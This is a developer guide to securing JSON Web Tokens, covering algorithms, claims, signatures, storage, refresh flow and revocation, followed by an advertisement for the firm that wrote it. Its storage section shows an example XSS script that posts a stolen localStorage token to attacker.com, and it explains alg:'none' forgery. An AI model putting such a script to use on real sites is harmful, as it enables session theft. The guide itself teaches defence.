

Anatomy of a Secure JWT

What is a JWT?

JWT = JSON Web Token

A compact, URL-safe token format for securely transmitting information between parties as a JSON object.

Structure:

```
None
xxxxx.yyyyy.zzzzz
 |   |   |
Header Payload Signature
```

Part 1: The Header

What It Contains

```
JSON
{
  "alg": "HS256",
  "typ": "JWT"
}
```

- **alg**: Algorithm used for signing
- **typ**: Token type (always "JWT")

✓ Secure Algorithms

- **HS256**: HMAC with SHA-256 (symmetric key)
- **RS256**: RSA with SHA-256 (asymmetric key)
- **ES256**: ECDSA with SHA-256 (asymmetric key)



Critical Security Exploit: **alg**: "none"

The Attack:

JSON

```
{
  "alg": "none", ← Attacker changes this
  "typ": "JWT"
}
```

Why It's Dangerous:

- Bypasses signature verification
- Allows token forgery
- Server accepts unsigned token

Protection:

JavaScript

```
// ❌ WRONG: Accept any algorithm
jwt.verify(token, secret);

// ✅ CORRECT: Explicitly specify algorithm
jwt.verify(token, secret, { algorithms: ['HS256'] });
```

Algorithm Choice Guide

HS256 (Symmetric - Shared Secret):

- ✅ Simple implementation
- ✅ Fast
- ❌ Same secret for signing and verification
- ❌ Can't share tokens between services easily

RS256 (Asymmetric - Public/Private Key):

- ✅ Private key signs, public key verifies
- ✅ Can distribute public key safely
- ✅ Better for microservices
- ❌ Slightly slower
- ❌ More complex setup

Use HS256 when: Monolithic app, same service signs and verifies

Use RS256 when: Microservices, external API integration

Part 2: The Payload (Claims)

Standard Claims

```
JSON
{
  "iss": "https://your-domain.com", // Issuer
  "sub": "user123",                 // Subject (User ID)
  "aud": "https://your-api.com",    // Audience
  "exp": 1735468800,                 // Expiration (Unix timestamp)
  "nbf": 1735382400,                 // Not Before
  "iat": 1735382400,                 // Issued At
  "jti": "unique-token-id-123"      // JWT ID (for revocation)
}
```

Mandatory Claims

✅ **exp** (Expiration) - REQUIRED

Why: Prevents token replay attacks

Recommendations:

- **Access Tokens:** 15 minutes
- **Refresh Tokens:** 7-30 days
- **Remember Me Tokens:** 90 days

```
JavaScript
// Creating token with 15-minute expiration
const token = jwt.sign(
  { sub: userId },
  secret,
  { expiresIn: '15m' }
);
```

Always verify expiration:

```
JavaScript
const decoded = jwt.verify(token, secret);
if (decoded.exp * 1000 < Date.now()) {
  throw new Error('Token expired');
}
```

✅ **sub** (Subject) - REQUIRED

Purpose: Identifies the user

```
JSON
{
  "sub": "550e8400-e29b-41d4-a716-446655440000"
}
```

Best Practice: Use immutable user ID (UUID), not email

⚠️ **iss** (Issuer) - Recommended

Purpose: Identifies who created the token

```
JavaScript
const token = jwt.sign(
  { sub: userId },
  secret,
  { issuer: 'https://auth.yourapp.com' }
);

// Verify issuer
jwt.verify(token, secret, {
  issuer: 'https://auth.yourapp.com'
});
```

🚨 NEVER Put Sensitive Data in Payload

❌ **WRONG - Visible to Anyone:**

```
JSON
{
  "sub": "user123",
  "email": "user@example.com",
  "ssn": "123-45-6789",      ← NEVER
  "creditCard": "4111-1111", ← NEVER
  "password": "hashed",     ← NEVER
  "apiKey": "sk_live_123"   ← NEVER
}
```

JWT payload is BASE64-ENCODED, NOT ENCRYPTED Anyone can decode and read it:

Shell

```
echo "eyJzdWIiOiJlc2VyMTIzIn0" | base64 -d  
# Output: {"sub":"user123"}
```

✓ CORRECT - Safe Claims:

JSON

```
{  
  "sub": "550e8400-e29b-41d4-a716-446655440000",  
  "roles": ["user", "admin"],  
  "permissions": ["read", "write"]  
}
```

Part 3: The Signature

How It's Created

None

```
HMACSHA256(  
  base64UrlEncode(header) + "." +  
  base64UrlEncode(payload),  
  secret  
)
```

Purpose

- Verify token wasn't tampered with
- Confirm token was issued by trusted party

Common Signature Mistakes

✗ Mistake 1: Weak Secret

JavaScript

```
// ✗ WRONG: Weak secret  
const secret = 'secret';  
const secret = '123456';  
const secret = 'your-secret-key';
```

Brute-forceable in seconds

✓ CORRECT: Strong Secret

```
JavaScript
// At least 32 bytes of random data
const crypto = require('crypto');
const secret = crypto.randomBytes(32).toString('hex');
// → "3d4f8b9e7c2a1d5e8f4b3c9a2e1d8f5..."
```

✗ Mistake 2: Exposing Secret in Client Code

```
JavaScript
// ✗ NEVER: Secret in frontend
const token = jwt.sign(data, 'my-secret-key');
```

Secrets must stay on server only!

✗ Mistake 3: Not Verifying Signature

```
JavaScript
// ✗ WRONG: Just decode without verify
const decoded = jwt.decode(token);
if (decoded.admin) {
  // Grant admin access
}
```

Attacker can forge tokens!

✓ CORRECT: Always Verify

```
JavaScript
try {
  const decoded = jwt.verify(token, secret);
  if (decoded.admin) {
    // Safe: Token is verified
  }
} catch (err) {
  // Invalid token
}
```

Storage: Where to Keep JWTs

Option 1: HttpOnly Cookie (BEST for Web Apps)

✓ Pros:

- Not accessible via JavaScript
- Prevents XSS attacks
- Automatically sent with requests

✗ Cons:

- Vulnerable to CSRF (mitigated with tokens)
- Not suitable for mobile apps

Implementation:

```
JavaScript
// Server sets cookie
res.cookie('token', jwt, {
  httpOnly: true,      // Not accessible via JS
  secure: true,        // HTTPS only
  sameSite: 'strict',  // CSRF protection
  maxAge: 900000       // 15 minutes
});
```

XSS Attack Prevention:

```
JavaScript
// ✗ This can't access HttpOnly cookie
document.cookie; // Won't contain httpOnly cookie
localStorage.getItem('token'); // Not stored here
```

Option 2: LocalStorage (⚠ Use with Caution)

✗ Cons:

- Vulnerable to XSS attacks
- Any JavaScript can access
- Shared across all tabs

✓ Pros:

- Works with mobile apps
- Easy implementation
- Large storage capacity

When to Use:

- Mobile applications (no alternative)
- SPAs with strong XSS protection
- Internal tools with trusted users

XSS Attack Example:

```
HTML
<!-- Attacker injects this script -->
<script>
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: localStorage.getItem('token')
  });
</script>
```

Protection Measures:

```
JavaScript
// 1. Content Security Policy (CSP)
// Server header:
Content-Security-Policy: script-src 'self'

// 2. Sanitize all user input
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userInput);

// 3. Use short-lived tokens
// Force refresh every 15 minutes
```

Option 3: Memory (for Single Page Apps)

✅ Pros:

- Most secure against XSS
- Cleared on page reload
- Not persistent

❌ Cons:

- Lost on refresh
- Complex implementation
- Requires refresh token flow

Implementation:

```
JavaScript
// Store in closure (not accessible globally)
let accessToken = null;

function setToken(token) {
  accessToken = token;
}

function getToken() {
  return accessToken;
}

// Use with refresh token in HttpOnly cookie
```

Token Lifecycle: Access + Refresh Pattern

The Strategy

1. **Access Token:** Short-lived (15 min), stored in memory/localStorage
2. **Refresh Token:** Long-lived (7 days), stored in HttpOnly cookie

Flow

- ```
None
```
1. User logs in  
→ Server returns access token + refresh token (cookie)
  2. User makes API request  
→ Send access token in Authorization header
  3. Access token expires  
→ Send refresh token to get new access token  
→ Continue without re-login
  4. Refresh token expires

→ User must log in again

## Implementation

JavaScript

```
// Login endpoint
app.post('/login', async (req, res) => {
 const user = await authenticate(req.body);

 // Short-lived access token
 const accessToken = jwt.sign(
 { sub: user.id, roles: user.roles },
 ACCESS_SECRET,
 { expiresIn: '15m' }
);

 // Long-lived refresh token
 const refreshToken = jwt.sign(
 { sub: user.id, type: 'refresh' },
 REFRESH_SECRET,
 { expiresIn: '7d' }
);

 // Store refresh token in HttpOnly cookie
 res.cookie('refreshToken', refreshToken, {
 httpOnly: true,
 secure: true,
 sameSite: 'strict',
 maxAge: 7 * 24 * 60 * 60 * 1000 // 7 days
 });

 // Return access token
 res.json({ accessToken });
});

// Refresh endpoint
app.post('/refresh', (req, res) => {
 const refreshToken = req.cookies.refreshToken;

 try {
 const decoded = jwt.verify(refreshToken, REFRESH_SECRET);

 // Issue new access token
 const accessToken = jwt.sign(
 { sub: decoded.sub },
 ACCESS_SECRET,
```

```

 { expiresIn: '15m' }
);

 res.json({ accessToken });
 } catch (err) {
 res.status(401).json({ error: 'Invalid refresh token' });
 }
});

```

---

## JWT Revocation Strategies

**Problem:** JWTs are stateless (can't be revoked)

### Solution 1: Short Expiration

- Access tokens: 15 minutes
- Worst case: Revoked user has 15 min access

### Solution 2: Token Blacklist

```

JavaScript
// Store revoked tokens in Redis
const revokedTokens = new Set();

app.post('/logout', (req, res) => {
 const token = req.headers.authorization.split(' ')[1];
 revokedTokens.add(token);

 // Set TTL to token's remaining lifetime
 redis.setex(token, token.exp - Date.now(), 'revoked');
});

// Check on every request
function verifyToken(token) {
 if (revokedTokens.has(token)) {
 throw new Error('Token revoked');
 }
 return jwt.verify(token, secret);
}

```

## Solution 3: Version Number

JSON

```
{
 "sub": "user123",
 "tokenVersion": 5
}
```

JavaScript

```
// Increment version on logout/password change
user.tokenVersion += 1;

// Verify version matches
if (decoded.tokenVersion !== user.tokenVersion) {
 throw new Error('Token invalidated');
}
```

---

## Security Checklist

### Token Generation

- ☐ Using HS256 or RS256 (not "none")
- ☐ Strong secret (32+ bytes random)
- ☐ Including `exp` claim (15 min for access)
- ☐ Including `sub` claim (user ID)
- ☐ NOT including sensitive data in payload

### Token Verification

- ☐ Verify signature on every request
- ☐ Check expiration time
- ☐ Validate issuer (if using)
- ☐ Reject `alg: "none"`

### Storage

- ☐ HttpOnly cookies (web apps)
- ☐ Or memory + refresh token pattern
- ☐ Never LocalStorage without XSS protection
- ☐ HTTPS only in production

## Infrastructure

- ☐ Content Security Policy enabled
  - ☐ Input sanitization
  - ☐ Rate limiting on auth endpoints
  - ☐ Logging failed verification attempts
- 

## Common Vulnerabilities

### 1. Cross-Site Scripting (XSS)

**Attack:** Steal token from LocalStorage **Defense:** HttpOnly cookies, CSP headers

### 2. Cross-Site Request Forgery (CSRF)

**Attack:** Force authenticated request **Defense:** SameSite cookies, CSRF tokens

### 3. Man-in-the-Middle (MITM)

**Attack:** Intercept token over HTTP **Defense:** HTTPS everywhere, HSTS

### 4. Token Replay

**Attack:** Use stolen token **Defense:** Short expiration, IP binding

---

## Testing Your JWT Implementation

Shell

```
Decode JWT (without verification)
jwt decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Test with tampered token
1. Decode token
2. Change payload (e.g., {"admin": true})
3. Re-encode
4. Send to API
→ Should be rejected if verification is working
```

---

# Need Secure Authentication?

## Building an auth system?

Devxhub builds enterprise-grade authentication solutions:

- ✓ OAuth 2.0 / OpenID Connect
- ✓ JWT-based APIs
- ✓ Multi-factor authentication
- ✓ Social login integration
- ✓ SSO (Single Sign-On)
- ✓ Role-based access control (RBAC)

## Our Security Services:

- Authentication system design
- Security audit & penetration testing
- OAuth 2.0 implementation
- Identity management (IDaaS)

✉ Contact us: [info@devxhub.com](mailto:info@devxhub.com)

🌐 Visit: [www.devxhub.com](http://www.devxhub.com)

☎ Call: +880 1326 506464